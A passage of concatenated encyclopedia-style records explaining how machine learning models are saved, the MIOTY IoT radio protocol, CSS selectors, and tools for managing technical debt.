Convolutional Neural Network (CNN), Recurrent Neural Network (RNN), Gated Recurrent Unit (GRU), Long Short Term Memory (LSTM), Autoencoder, Attention Network, and many more. In code, these can be built using building blocks such as convolution, pooling, padding, normalization, dropout, linear transforms, non-linear activations, and more. \n\nTensorFlow supports many loss functions: BinaryCrossentropy, CategoricalCrossentropy, CosineSimilarity, KLDivergence, MeanAbsoluteError, MeanSquaredError, Poisson, SquaredHinge, and more. Among the optimizers are Adadelta, Adagrad, Adam, Adamax, Ftrl, Nadam, RMSprop, and SGD. \n\n\n### What exactly is saved in an ML model?\n\nML frameworks typically support different ways to save the model: \n\n    + **Only Weights**: Weights or parameters represent the model's current state. During training, we may wish to save checkpoints. A checkpoint is a snapshot of the model's current state. A checkpoint includes model weights, optimizer state, current epoch and training loss. For inference, we can create a fresh model and load the weights of a fully trained model.\n    + **Only Architecture**: Specifies the model's structure. If it's a neural network, this would be details of each layer and how they're connected. Data scientists can share model architecture this way, with each one training the model to suit their needs.\n    + **Complete Model**: This includes model architecture, the weights, optimizer state, and a set of losses and metrics. In PyTorch, this is less flexible since serialized data is bound to specific classes and directory structure.In Keras, when saving only weights or the complete model, `*.tf` and `*.h5` file formats are applicable. YAML or JSON can be used to save only the architecture. \n\n\n### Which are the formats in which ML models are saved?\n\n**Open Neural Network Exchange (ONNX)** is open format that enables interoperability. A model in ONNX can be used with various frameworks, tools, runtimes and compilers. ONNX also makes it easier to access hardware optimizations. \n\nA number of ML frameworks are out there, each saving models in its own format. TensorFlow saves models as protocol buffer files with `*.pb` extension. PyTorch saves models with `*.pt` extension. Keras saves in HDF5 format with `*.h5` extension. An older XML-based format supported by Scikit-Learn is Predictive Model Markup Language (PMML). SparkML uses MLeap format and files are packaged into a `*.zip` file. Apple's Core ML framework uses `*.mlmodel` file format. \n\nIn Python, Scikit-Learn adopts pickled Python objects with `*.pkl` extension. Joblib with `*.joblib` extension is an alternative that's faster than Pickle for large NumPy arrays.  If XGBoost is used, then a model can be saved in `*.bst`, `*.joblib` or `*.pkl` formats. \n\nWith some formats, it's possible to save not just models but also pipelines composed of multiple models. Scikit-Learn is an example that can export pipelines in Joblib, Pickle, or PMML formats. \n\n\n### What metadata could be useful along with an ML model?\n\nData scientists conduct multiple experiments to arrive at a suitable model. Without metadata and proper management of such metadata, it becomes difficult to reproduce the results and deploy the model into production. ML metadata also enables us to do auditing, compare models, understand provenance of artefacts, identify reusable steps for model building, and warn if data distribution in production deviates from training. \n\nTo facilitate these, metadata should include model type, types of features, pre-processing steps, hyperparameters, metrics, performance of training/test/validation steps, number of iterations, if early stopping was enabled, training time, and more. \n\nA saved model (also called exported or serialized model), will need to be deserialized when doing predictions. Often, the versions of packages or even the runtime will need to be the same as those during serialization. Some recommend saving a reference to an immutable version of training data, version of source code that trained the model, versions of libraries and their dependencies, and the cross-validation score. For reproducible results across platform architectures, it's a good idea to deploy models within containers, such as Docker. \n\n\n### Which are some useful tools when working with ML models?\n\nThere are tools to **visualize** an ML model. Examples include *Netron* and *VisualDL*. These display the model's computational graph. We can see data samples, histograms of tensors, precision-recall curves, ROC curves, and more. These can help us optimize the model better.  \n\nSince ONNX format aids interoperability, there are **converters** that can convert from other formats to ONNX. One such tool is *ONNXMLTools* that supports many formats. It's also a wrapper for other converters such as keras2onnx, tf2onnx and skl2onnx. ONNX GitHub code repository lists many more converters. Many formats can be converted to Apple Core ML's format using *Core ML Tools*. For Android, `tf.lite.TFLiteConverter` converts a Keras model to TFLite. \n\nSometimes converters are not required. For example, PyTorch can natively export to ONNX. \n\nONNX models themselves can be simplified and there are **optimizers** to do this. *ONNX Optimizer* is one tool. *ONNX Simplifier* is another, built using ONNX Optimizer. It basically looks at the whole graph and replaces redundant operators with their constant outputs. There's a ready-to-use online version of ONNX Simplifier. \n\n## Milestones\n\n1952\n\nAt IBM, Arthur Samuel writes the first learning program. Applied to the game of checkers, the program is able to learn from mistakes and improve its gameplay with each new game. In 1959, Samuel popularizes the term **Machine Learning** in a paper titled *Some Studies in Machine Learning Using the Game of Checkers*. \n\n1986\n\nRumelhart et al. publish the method of **backpropagation** and show how it can be used to optimize the weights of neurons in artificial neural networks. This kindles renewed interest in neural networks. Although backpropagation was invented in the 1960s and developed by Paul Werbos in 1974, it was ignored back then due to the general lack of interest in AI. \n\n1990\n\nIn this decade, ML shifts from a knowledge-driven to a **data-driven approach**. With the increasing use of statistics and neural networks, ML tackles practical problems rather than lofty goals of AI. Also during the 1990s, Support Vector Machine (SVM) emerges as an important ML technique. \n\n2006\n\nHinton et al. publish a paper showing how a network of many layers can be trained by smartly initializing the weights. This paper is later seen as the start of **Deep Learning** movement, which is characterized by many layers, lots of training data, parallelized hardware and scalable algorithms. Subsequently, many DL frameworks are released, particularly in 2015. \n\nJun  \n2016\n\nVartak et al. propose *ModelDB*, a system for **ML model management**. Data scientists can use this to compare, explore or analyze models and pipelines. The system also manages metadata, quality metrics, and even training and test data. In general, from the mid-2000s we see interest in ML model management and platforms. Examples include *Data Version Control (DVC)* (2017), Kubeflow (2018), ArangoML Pipeline (2019), and *TensorFlow Extended (TFX)* (2019 public release). \n\nSep  \n2017\n\nMicrosoft and Facebook come together to announce **Open Neural Network Exchange (ONNX)**. This is proposed as a common format for ML models. With ONNX, we obtain framework interoperability (developers can move their models across frameworks) and shared optimizations (hardware vendors and others can target ONNX for optimizations). \n\nJul  \n2019\n\nWhile there are tools to convert from other formats to ONNX, one ML expert notes some limitations. For example, *ATen* operators in PyTorch are not supported in ONNX. This operator is not standardized in ONNX. However, it's possible to still export to ONNX by updating PyTorch source code, which is something only advanced users are likely to do. \n\nMar  \n2020\n\nIn an image classification task, a performance comparison of ONNX format with PyTorch format shows that ONNX is faster during inference. Improvements are higher at lower batch sizes. On another task, ONNX shows as much as 600% improvement over Scikit-Learn. Further improvements could be obtained by tuning ONNX for specific hardware.","meta":{"title":"Machine Learning Model","href":"machine-learning-model"}}
{"text":"# MIOTY\n\n## Summary\n\n\nMIOTY is a software-based LPWAN protocol that's targeted at IoT applications. In particular, many industrial IoT applications demand high reliability, scalability, power efficiency and mobility. High data rate is not really needed. MIOTY meets these requirements while also being an ETSI standard, TS 103 357. In addition, the MIOTY Alliance promotes the technology towards better interoperability among vendors of both endpoints and base stations. \n\nMIOTY is often written as mioty®. Fraunhofer-Gesellschaft owns the registered trademark. Patents owned by Fraunhofer-Gesellschaft and Diehl Metering GmbH are licensed via Sisvel International.\n\n## Discussion\n\n### Given many other LPWAN protocols, why do we need MIOTY?\n\nLPWAN protocols are many. Some operate in unlicensed spectra: LoRa, Sigfox, and ZigBee. Others (from the cellular world) operate in licensed spectra: LTE-M, EC-GSM and NB-IoT. ZigBee, LoRa and NB-IoT offer about 250kbps. LTE-M offers 1Mbps. Sigfox offers 100bps. \n\nIn license-free spectra, where many technologies coexist, interference causes packet loss. Cellular technologies have higher power consumption. ZigBee has a mesh topology. Though ZigBee's relay nodes extend coverage, they have lower power efficiency.  Some protocols are not standardized, leading to vendor lock-in or interoperability issues. \n\nWhile these protocols have their niche applications, there are some applications that need low data rate, higher power efficiency and long range. Packet loss should be very low even in the face of interference. A single base station should be able to handle thousands of endpoints. A star topology, rather than a mesh topology, is more suited to meet these requirements. This is the space that MIOTY addresses.  \n\n\n### What are the use cases for MIOTY?\n\nMIOTY is being seen as a \"low-throughput tech for last mile industrial communications\". In smart grids, gas and water meters can use MIOTY. In agriculture, soil sensors and irrigation controls can use MIOTY. In smart factories and buildings, asset tracking can benefit from MIOTY. Remote sensors need long range that MIOTY provides. MIOTY can handle assets moving up to 120kph, thus making it suitable for fleet management or vehicle-to-infrastructure communications. \n\nMIOTY is designed to support **massive IoT**, where 100,000+ endpoints can be supported by a single base station handling 1.5 million messages per day. This requirement is common in smart metering in dense urban deployments or monitoring in smart factories. \n\nMIOTY Alliance website shares news on recent applications. In November 2021, a project was initiated to automate and digitize RAG Austria's oil fields using Diehl Metering's MIOTY gateway. In January 2022, sensors in a MIOTY network detected in Germany the pressure wave triggered by an underwater eruption near Tonga. \n\n\n### What are the main technical details of MIOTY?\n\nMIOTY is based on a transmission technique called **Telegram Splitting Multiple Access (TSMA)**. A telegram or packet is split into smaller packets. These are sent slowly over a longer time period. For better resilience against interference, frequency hopping is used. Data is spread across 24 uplink or 18 downlink radio bursts. System uses 24 frequencies plus 1 for Sync-burst. \n\nMIOTY operates in the sub-GHz range in license-free bands 868 MHz (Europe) and 915 MHz (US). Symbol rate is 2,380,371 symbols per second. Standard carrier spacing is 2,380,371Hz and channel bandwidth is 100kHz. Range is about 5km (non-LOS) and 20km (LOS). Even if 50% of the sub-packets are lost, the original information can be recovered. \n\nCoherent MSK or GMSK demodulation is used. Receiver sensitivity is at -139dBm. Data rate is about 400bps. 10 bytes of application data can be sent in about 400ms. At the endpoint, duty cycle can be as low as 0.1% with a power consumption of 17.8μWh per message. This means that batteries could last for 20+ years. Messages are encrypted and integrity protected. \n\n\n### Which are the different MIOTY device classes?\n\nMIOTY defines three device classes: \n\n    + **Class Z**: Unidirectional and uplink only. For monitoring applications. Very high energy efficiency.\n    + **Class A**: Bidirectional so that endpoints can be configured via downlink unicast messages. Communication is initiated by endpoints.\n    + **Class B**: Bidirectional. Suits low latency applications. Enables control of actuators at endpoints. Supports both unicast and broadcast messages. In broadcast mode, base station sends a periodic beacon signal. This indicates the timeslots when an endpoint needs to receive.For the TS-UNB protocol family, the ETSI standard mentions classes Z and A but not class B. \n\n\n### What's the architecture of a typical MIOTY-based network?\n\nThe MIOTY system is one realization of a **Low Throughput Network (LTN)** standardized by ETSI. MIOTY is defined in the standard as TS-UNB and it specifies the air interface between endpoints and base station. In the standard, this interface is called *Interface A*. \n\nOne or more endpoints connect via the air interface to a base station (aka access point). The system can have multiple base stations but only one Service Center (SC). SC forwards/aggregates/deduplicates data, authenticates and configures endpoints, manages base stations, and coordinates roaming to other SCs. In practice, some of these functions are done by a separate entity called the Application Center. Application Center may use various protocols (MQTT, REST, COAP) to interface to applications. In fact, the ETSI standard identifies Registration Authority (RA) that stores identifiers and credentials of endpoints. In MIOTY, these RA functions are part of the Application Center. Finally, an IoT platform handles visualization and analytics. \n\n\n### What's the current MIOTY ecosystem?\n\nThe MIOTY Alliance was formed in 2019. By 2022, it acquired 10 full members and many associated members. Members include chipset vendors, hardware manufacturers, software stack providers and application solution providers. It's goal is \"to enable the most accessible, robust and efficient Massive IoT connectivity solution on the market\". \n\nMIOTY chipsets are being made by Radiocrafts, Silicon Labs, Texas Instruments, STMicroelectronics (STM32WL SoC series), etc. TI's CC1310 wireless MCU includes RF transceiver and Arm® Cortex®-M3 MCU. More powerful ones include CC1312R and CC1352R, the latter capable of BLE connectivity as well. \n\nGateways are available from BehrTech (called MYTHINGS), Swissphone, Deihl Metering, WEPTECH AVA and AST-X. Some of these vendors also offer endpoint hardware plus development kits. Others such as Radiocrafts and Sentinum offer only endpoints. ResIOT plans to offer a complete MIOTY network solution that includes base station, Service Center, and Application Center. \n\nFor the software stack, STMicroelectronics has partnered with Stackforce, which offers a multi-stack solution supporting MIOTY, LoRaWAN, Wireless M-Bus and Sigfox.  BehrTech and Swissphone have their own stacks.\n\n## Milestones\n\nSep  \n2011\n\nFraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V. files a German patent that introduces the concept of **telegram splitting**. A packet or telegram is split into smaller sub-packets that are sent over a much longer time period. In addition, sub-packets may be duplicated and sent on multiple frequencies (frequency hopping). The Fraunhofer Institute started this research in 2009. \n\nDec  \n2015\n\nFraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V. apply for a German **trademark on MIOTY**. International and U.K. trademarks are filed in May 2016. Subsequently, these applications are approved and registered. \n\nJun  \n2018\n\nETSI standardizes the telegram splitting method of transmission in **TS 103 357: Protocols for radio interface A**.  It's named Telegram Splitting Ultra Narrow Band (TS-UNB). It's the protocol used in MIOTY. \n\nJul  \n2018\n\nBehrTech claims to be the first to offer a MIOTY solution that's compliant with the ETSI standard. In March 2021, in partnership with WEPTECH, BehrTech claims first low-cost MIOTY gateway. \n\nNov  \n2019\n\n**MIOTY Alliance** is formed. It's founding members include Fraunhofer Institute for Integrated Circuits ISS, Texas Instruments, Diehl Metering, Diehl Connectivity Solutions, ifm, Ragsol, Stackforce and Wika. In February 2020, the Alliance is announced officially at the Embedded World 2020 in Nuremberg. The Alliance aims to provide an open, standardized and interoperable ecosystem for MIOTY that can suit industrial IoT and smart city use cases. By mid-2022, the Alliance has 10 full members and 25 associate members. \n\nApr  \n2020\n\nIt's announced that Sisvel International will manage the licensing of MIOTY. \n\nMay  \n2021\n\nBernhard, Schlicht and Kilian of the Fraunhofer Institute for Integrated Circuits IIS are awarded the **Joseph von Fraunhofer Prize 2021** for their invention and development of MIOTY. In other news, **MIOTY Class B** is released to complement earlier classes Z and A.  \n\nJul  \n2021\n\nFraunhofer IIS completes a successful test of MIOTY with a **GEO satellite** at a distance of about 38,000 km. This is in the S band at about 2 GHz. This test shows that MIOTY can be used in scenarios that are not dependent on any terrestrial infrastructure. \n\nOct  \n2021\n\nAt the Mobile Breakthrough Awards, BehrTech wins **Industrial IoT Solution of the Year** award for its MIOTY-BLE dual stack. The solution uses BLE 5.2 and CC1352R wireless microcontroller from Texas Instruments. Their dual stack was first announced in May 2021. \n\nMay  \n2022\n\nAt Fraunhofer IIS, researchers achieve up to **3.5 million telegrams per day per base station**. This is due to improved algorithms that can now run on ARM processors. For developers, Fraunhofer IIS also offers a MIOTY evaluation kit.","meta":{"title":"MIOTY","href":"mioty"}}
{"text":"# CSS Selectors\n\n## Summary\n\n\nCascading Style Sheets (CSS) are commonly used to style web content. To style a particular element on a HTML/XHTML page, we have to first select the element. This is done using CSS Selectors. A selector essentially selects or targets one or more elements for styling.\n\nCSS3 specifications standardized by W3C defines a wide variety of selectors. A selector can target a single specific element or target multiple elements. In a good web design, CSS selectors are written to balance clarity, portability, stylesheet size, ease of update, and performance.\n\n## Discussion\n\n### Which are the commonly used CSS selectors?\n\nA web page is essentially a set of HTML/XHTML tags organized into a hierarchy. It's common to mark elements with identifiers and/or class names. It's therefore common to use the following as CSS selectors: \n\n    + **By Tag Name**: For instance, a paragraph can be selected with `p`, such as in `p { color: #444; }` .\n    + **By Identifier**: An HTML element can have the `id` attribute that must be unique across the document. Thus, identifier can be used to target a specific element. For example, given the HTML snippet `<div id=\"footer\"></div>`, the relevant selector is `#footer`.\n    + **By Class Name**: The `class` attribute is also common for HTML elements. An element can have one or more classes. Multiple elements can belong to a class. By using a class-based CSS selector, we can target multiple elements. For example, given the HTML snippet `<span class=\"pincode\"></span>`, the relevant selector is `.pincode`.The above three selector syntaxes can be combined into a single selector. Suppose we wish to target list items of class `icon` inside the footer, we can write `#footer li.icon`. \n\n\n### How can HTML attributes be used in CSS selectors?\n\nHTML elements can have attributes and these can be used in CSS selectors. The simplest syntax is to select by **presence of the attribute**. For example, `a[title]` targets all anchor elements with `title` attribute. A more refined selection is to match the **value of the attribute**. This comes in three variants (also explained in the figure): \n\n    + `[attr=value]`: exact match: `div[class=\"alert\"]` will match `<div class=\"alert\"></div>` but not `<div class=\"alert-info\"></div>`.\n    + `[attr~=value]`: word match: `div[class~=\"alert\"]` will match `<div class=\"alert-info alert\"></div>` but not `<div class=\"alert-info\"></div>`.\n    + `[attr|=value]`: exact or with hyphen match: `div[class|=\"alert\"]` will match `<div class=\"alert\"></div>`, `<div class=\"alert-info\"></div>` and `<div class=\"alert-info alert\"></div>` but not `<div class=\"alertinfo\"></div>` or `<div class=\"alert alert-info\"></div>`.It's possible to match substrings of attribute values. These take the form `[attr^=value]`, `[attr$=value]` and `[attr*=value]` to match start, end and any part of the value string respectively. \n\nHTML element names and attribute names are case insensitive but attribute values are case sensitive.  To match value strings in a case-insensitive manner, include the `i` flag. For example, `div[class=\"alert\"]` will not match `<div class=\"Alert\"></div>` but `div[class=\"alert\" i]` will. \n\n\n### What's the difference between pseudo-classes and pseudo-elements?\n\nPseudo-classes and pseudo-elements give additional capability to CSS selectors. Neither appears in the document source nor modifies the document tree. \n\n**Pseudo-classes** are applied to elements due to their position (eg. last child) or state (eg. read only). Elements can gain or lose pseudo-classes as the user interacts with the document. The syntax is `:`, such as in `:enabled`, `:hover`, `:visited`, `:read-only`, `:last-child`, or `:nth-of-type()`. \n\nWhereas pseudo-classes represent additional information about an element, **pseudo-elements** represent elements not explicitly present in the document tree. A pseudo-element is always bound to another element (called *originating element*) in the document. It can't exist independently. The syntax is `::`, such as in `::before`, `::after`, `::placeholder`, `::first-line`, or `::first-letter`. \n\nIn CSS1 and CSS2, both pseudo-classes and pseudo-elements used single colon syntax for `::before`, `::after`, `::first-line`, and `::first-letter`. Thus, browsers today accept either syntax for these special cases.  \n\nWhere user actions are involved, the two can be combined. For example, `::first-line:hover` matches if the first line is hovered whereas `:hover::first-line` matches the first line of any originating element (such as second line of the paragraph) that's hovered. \n\n\n### Which are the CSS selectors for targeting descendants of an element?\n\nTo select **descendants** use multiple selectors separated by spaces. For example, `p a` targets all links within paragraphs; links outside paragraphs are not selected. Selector `.agenda ul a` targets all links within unordered lists within elements of `agenda` class.\n\nA more restrictive syntax selects only **immediate children** of an element, not grandchildren, great-grandchildren, etc. For example, `ul > a` is incorrect since children of `ul` are `li` elements. The correct selector would be `ul > li > a`. Another example is a list containing other lists. Selector `ul > li` selects only first level list items whereas `ul li` selects list items at every nested level. \n\nPseudo-classes provide further control for child selection. Some of these are `:first-child`, `:last-child`, `:only-child`, `:nth-child`, and `:nth-last-child` (nth child from the end). Children are one-indexed. To target every third list item from fourth item, use `ul > li:nth-child(3n+4)`. To target exactly the fourth item, use `ul > li:nth-child(4)`. To target the last but one item, use `ul > li:nth-last-child(2)`. To target last three items, use `ul > li:nth-child(-n+3)` \n\n\n### Which are the CSS selectors for targeting siblings of an element?\n\nAssume a DOM structure in which elements `h1 p p ul p` are all children of the same parent and therefore siblings in that order. CSS has two ways to select siblings by combining two selectors: \n\n    + **Adjacent Sibling**: For example, `h1 + p` means that we target `p` if it's the immediate sibling following `h1`. Though `ul` is a sibling of `h1`, it's not the immediate sibling. Hence, `h1 + ul` will not select `ul`.\n    + **General Sibling**: For example, `h1 ~ p` will select all three `p` elements that are all siblings of `h1`. The selector `p ~ h1` will not select `h1` because the way CSS works, we're targeting `h1` siblings that *follow* a `p` element.Combinator `+` targets only one sibling whereas `~` targets multiple siblings. With `~`, it's possible to obtain a specific sibling by using pseudo-classes such as `:first-of-type`, `:last-of-type`, `:nth-of-type()` or `:nth-last-of-type()`. For example, `h1 ~ p:nth-last-of-type(2)` will select the second last `p` sibling of `h1`. \n\n\n### What are quantity selectors in CSS?\n\nGiven a number of children, it's possible to select one or more of them depending on the number of children. Quantity selectors help us do this. Essentially, they are pseudo-classes. Multiple pseudo-classes can be used together. We share a few examples. \n\nTo select a list item if it's the only item in the list, use `li:only-child`. This logic can be reversed by doing `li:not(:only-child)`. \n\nTo select the first child if there are exactly six children, use `li:nth-last-child(6):first-child`. This selects the sixth child from the end. This can be the first child only if there are exactly six children. To select children 2-6 if there are exactly six children, use the general sibling combinator, as in `li:nth-last-child(6):first-child ~ li`. \n\nIf there are six or more children, and we wish to ignore the last 5 children, use `li:nth-last-child(n+6)`. To select only the last 5 children given that there are six or more children, use `li:nth-last-child(n+6) ~ li`. \n\n\n### Which are some uncommon CSS selectors?\n\nSome CSS selectors are either not widely known or commonly used, but could be useful in some cases:\n\n    + **Universal**: It's inefficient to select all elements by using the *universal selector* `*`. However, it could be used to select all children of an element, such as `.footer > *`.\n    + **Empty**: Pseudo-class `:empty` targets elements with no content. HTML comments are not considered. Even if an element has only a single space, it's considered non-empty.\n    + **Multiple Classes**: `p.last-section.section` targets paragraphs that belong to both classes `section` and `last-section`.\n    + **Selector List**: Same CSS styles can be applied to multiple selectors, which are separated by commas. For example, `em, i {...}` styles `em` and `i` tags alike.\n    + **Inverse Selection**: Specify a selector and target the inverse set. For example, `:not(p)` selects all elements that are not paragraphs. Another example is `.nav > div:not(:first-child)` to select all (expect the first) `div` children of `.nav`.\n\n### Could you share some best practices for using CSS selectors?\n\nTo keep content separate from styling, avoid inline CSS styles. Put styles in stylesheets. An exception is when emailing HTML content since many mail clients ignore stylesheets. \n\nWrite legible CSS rulesets. Put each declaration on a separate line. Be careful about spaces. For example, selectors `#header.callout` (header of callout class) and `#header .callout` (callout descendants of header) target different elements. \n\nAvoid repetitive rules. If many selectors contain the same style declaration, abstract that into a separate class-based ruleset. \n\nMove animations to the end of stylesheets so that browsers load and render basic styling first. \n\nCSS allows the use of `!important` in the value of a property. This gives precedence to the declaration, overriding even inline styles. **CSS specificity** determines selector precedence should multiple selectors target the same element. Since `!important` breaks this precedence order, it can make stylesheets hard to maintain and debug.  \n\nLong selectors resulting in high specificity, including use of identifiers, can break cascading and prevent efficient reuse of styles. Keep selectors to two or three levels deep. For example, replace `#header #intro h1.big a.normal` with `.big .normal`. \n\n\n### What are some performance considerations when designing CSS selectors?\n\nSelecting by identifier is fast. Selecting by class, tag, child, descendant, or attribute exact match are fast in that order. These results may vary across browsers. In fact, difference in speed between identifier and class selectors is negligible. \n\nWebKit developer Dave Hyatt noted back in 2008 that it's best to avoid using sibling, descendant and child selectors for better performance. \n\nThe way browsers parse CSS selectors is different from the way web designers write them. Browsers read selectors in **right-to-left order**. For example, given `#social a` browsers will look at all `a` tags, move up the DOM tree and retain only those that are within `#social`. This insight can help us write more performant selectors. The rightmost selector is called the **key selector**. \n\nThe above example can be made more performant by adding a new class `social-link` to relevant anchor tags and then using the selector `#social .social-link`. In fact, this selector is *overqualified*. It can be simplified to just `.social-link`. A poor selector is `div:nth-of-type(3) ul:last-child li:nth-of-type(odd) *`. It's four levels deep and its key selector selects all elements of the DOM. \n\n## Milestones\n\nAug  \n1999\n\nW3C publishes *CSS3 module: W3C selectors*. In November 2018, W3C publishes this as *Selectors Level 3* W3C Recommendation. \n\nAug  \n2006\n\nTo simplify DOM tree traversal and manipulation John Resig releases a new library named **jQuery**. In JavaScript code, this allows us to select elements using CSS selectors, thus avoiding many lines of code that call `getElementById()` or `getElementsByClassName()`. jQuery itself is partly inspired by *cssQuery* (September 2005). An earlier effort to use CSS selectors in JavaScript is  `getElementsBySelector()` (March 2003). \n\nOct  \n2007\n\nIn a W3C Working Draft, new API methods `querySelector()` and `querySelectorAll()` are introduced. Browsers/clients must implement them for both `DocumentSelector` and `ElementSelector` interfaces. Traditionally, DOM elements were selected using methods `getElementById()`, `getElementsByClassName()`, `getElementsByTagName()`, `getElementsByName()`, etc. These are cumbersome. The new API methods allow direct use of CSS selectors. This becomes *Selectors API Level 1* W3C Recommendation in February 2013. \n\nMar  \n2009\n\nIn a study on CSS performance, it's noted that optimizing selectors matters only if a webpage has many thousands of DOM elements. For example, a Facebook page (in 2009) has 2882 CSS rules and 1966 DOM elements, a scale easily handled by browsers. Among a number of popular browsers, IE7 gives best performance. IE7 hits a performance limit only when a page has about 18K child/descendant rules. \n\nSep  \n2011\n\nW3C publishes *Selectors Level 4* as a Working Draft. As on May 2020, it's still a Working Draft, with the latest version from November 2018. Among the new pseudo-classes are `:is()`, `:has()`, `:where()`, `:target-within`, `:focus-visible`, and `:focus-within`. Temporal pseudo-classes are `:current`, `:past` and `:future`. There are new pseudo-classes for input states and value checking. Grid pseudo-classes include `:nth-col()` and `:nth-last-col()`. \n\nJun  \n2014\n\nHeydon Pickering proposes at a CSS conference a peculiar CSS selector of three characters that looks like an \"owl's vacant stare\". He calls it the **Lobotomized Owl**. This selector is `* + *`. It selects all elements that follow other elements. For example, this is useful when adding margin between two siblings without margin above the first element or below the last element. The alternative, `:not(:first-child):not(:root)` has high specificity and can't be easily overridden. The Lobotomized Owl has zero specificity.","meta":{"title":"CSS Selectors","href":"css-selectors"}}
{"text":"# Tools to Manage Technical Debt\n\n## Summary\n\n\nIn an ideal world, developers follow best practices and implement the best possible solution. In practice, this is rarely the case. Technical debt is often accepted to satisfy immediate business needs. However, this debt must be managed in the long term. Except for the most trivial projects, it's difficult to manage technical debt through manual effort. Fortunately, many tools exist for this purpose.\n\nEngineering systems are diverse because of their choice of hardware, software programming language, development methodology, system architecture, test plan, and so on. As a result, technical debt is also rich in variety: architecture to code, documentation to testing. Tools to address them are also varied. A project might need to adopt more than one tool to manage its technical debt.\n\n## Discussion\n\n### What features are expected of tools that manage technical debt?\n\nGood technical debt management tools are expected to have these traits: \n\n    + **Polyglot**: Tools need to analyze the source code. As such, they must support popular programming languages (Java, JavaScript, C/C++, C#, Python, PHP, etc.). This support could be offered as plugins to the main product.\n    + **Analysis**: Analysis must be from different perspectives including maintainability, reliability, portability and efficiency. Approaches can include static code analysis, SCM analysis, and test coverage. Tool should record historical data so that trends can be observed. Tool should show time needed to fix the debts.\n    + **Reporting**: Dashboard should show a high-level summary and project status. Dashboard should be customizable since engineers and business folks are interested in different levels of detail. Visualizations should be clear.\n    + **Deployment**: The tool can be hosted on-premise or in the cloud. For multiuser access, it should be a web application.\n    + **Flexibility**: It should be possible to override default values and configure the tool to suit the project. For example, thresholds to detect duplicated code must be configurable.\n    + **Logging**: We may wish to get insights into the analysis or troubleshoot issues. Tool should therefore collect logs for future study or audit.\n\n### Could you mention some tools to manage technical debt?\n\nSome tools only report code metrics, facilitate code reviews or support only a few languages. Others support multiple languages, cover multiple debt factors, perform risk analysis, visualize debt in different ways, and offer a useful dashboard summary. Among the latter are SonarQube, Squore, and Kiuwan. \n\nBliss, SonarQube, Checkstyle, and Closure Compiler are some tools that help with static code analysis. Designite can detect design smells, such as a class doing things that are not part of its core responsibility (poor cohesion). Jira Software and Hansoft are examples that identify but don't measure technical debt. Jacoco captures test debt. \n\nAmong other tools are CAST Application Intelligence Platform, Teamscale, SIG Software Analysis Toolkit, Google CodePro Analytix, Eclipse Metrics, Rational AppScan, CodeXpert, Redmine, Ndepend (Visual Studio plugin), DebtFlag (Eclipse plugin), CLIO, CodeVizard, and FindBugs. \n\nIn general, there are more tools for code/test debts than for design/architecture debts. \n\n\n### How do tools quantify technical debt?\n\nTools should show metrics that are simple, clear, correct and objective. They should help in decision making. There are many metrics to quantify debt with respect to design, coding, defects, testing, documentation, and other aspects of product development. Tools should therefore measure code duplication, code complexity, test coverage, dependency cycles and coupling, lack of documentation, programming rules violations, and more.  \n\nIdeally, a few numbers that express overall product quality will be easier to understand at a high level. Expressing technical debt as in units of **person-days** points to the effort needed to remove the debt. This is a good measure but it doesn't indicate product quality. Therefore, we can also express **technical debt as a ratio**. Generally, debt that's higher than 10% needs to be addressed quickly. \n\nTool should also capture trends. For example, a declining trend in test coverage might suggest that with each iteration the team is adding more features that it's capable of testing. \n\nIn general, effort estimates are hard to get right. The suggested approach is to remove technical debt gradually (pay off the principal) with every release. \n\n\n### What are some approaches that tools use to manage technical debt?\n\nGiven various aspects of managing technical debt, we note the following approaches: \n\n    + **Identify**: Code analysis, dependency analysis, checklists; compare against an optimal solution.\n    + **Measure**: Use mathematical models, source code metrics, manual estimation by experts; estimate based on debt type; use operational metrics; compare against an optimal solution.\n    + **Prioritize**: Cost-benefit analysis; repay items with high remediation cost or interest payments; select a set of items that maximize returns (portfolio approach).\n    + **Monitor**: Warn when thresholds are reached; track debt dependencies; regular measurements; monitor with respect to defined quality attributes; plot and visualize trends.\n    + **Document**: Record each item in detail with identifier, type, description, principal and interest estimates; probability of interest payment; correlation with other items.\n    + **Communicate**: Summarize in dashboards; record in backlog and schedule with each development cycle; list or visualize items.\n    + **Prevent**: Improve processes; evaluate potential debts during architecture/design phases; create a culture that minimizes debt.\n    + **Repay**: Refactor, rewrite, reengineer (new features); automate routine tasks; fix bugs; improve fault tolerance in areas of debt.\n\n### What are some shortcomings of tools that manage technical debt?\n\nTools may differ in the way they quantify technical debt. The calculated metrics may be incomplete or even inaccurate. For example, a tool may fail to capture architectural debt, such as when code violates layered architecture. \n\nThere's no clear consensus on the dimensions or boundaries of technical debt. For example, some may consider known defects as technical debt. When tools report false positives, dealing with these can be tedious. \n\nMany tools calculate the principal (cost of refactoring) but not the interest (extra cost due to technical debt). The latter is more difficult to quantify. However, it should be noted that the SQALE method has models to estimate both **remediation cost (principal)** and **non-remediation cost (interest)**. \n\n## Milestones\n\n1992\n\nWard Cunningham coins the term **Technical Debt** while working on WyCASH+, a financial software written in Smalltalk. \n\n2001\n\n**The Agile Manifesto** is signed. In the following years, the concept of technical debt is more widely adopted with the growth of the Agile movement. \n\nFeb  \n2007\n\nThe first lines of code are written for the **Sonar platform**. In November 2008, SonarSource is founded to accelerate development and adoption of the open source Sonar platform. By mid-2010, SonarSource gets regular downloads. In April 2013, SonarSource gets a commercial edition and is renamed to SonarQube. \n\nSep  \n2009\n\nIn a white paper, Letouzey and Coq introduce the **SQALE (Software Quality Assessment Based on Lifecycle Expectations) Analysis Model**. They note that in qualimetry, any measure of software quality should be precise, objective and sensitive. The SQALE model provides normalized measures and aggregated indices. Since software is a hierarchy of artefacts, the model standardizes aggregation rules that lead to remediation indices. Since SQALE is open source and royalty free, by 2016, it's implemented by many tools. \n\n2014\n\nMultiple studies are published in literature that attempt to understand technical debt and relate it to software quality. A couple of these studies use SonarQube and its plugins for analysis. \n\nMar  \n2015\n\nLi et al. bring together different studies and summarize the capabilities of 29 different technical debt management tools. They map them to various attributes: identification, measurement, prioritization, monitoring, repayment, documentation, communication and prevention. Most are able to identify or measure technical debt. In addition, they capture what sort of technical debts these tools capture: code, design (code smells or violations), testing, requirements, architecture, and documentation. \n\nApr  \n2015\n\nIn a blog post, Atlassian recognizes the importance of technical debt. The note that their **Jira** software can now list and track technical debt, including when a debt was created and when it's expected to be resolved. \n\nNov  \n2018\n\n**DeepSource** is released. It's a source code analysis tool that can integrate with GitHub. Test coverage, documentation debt, 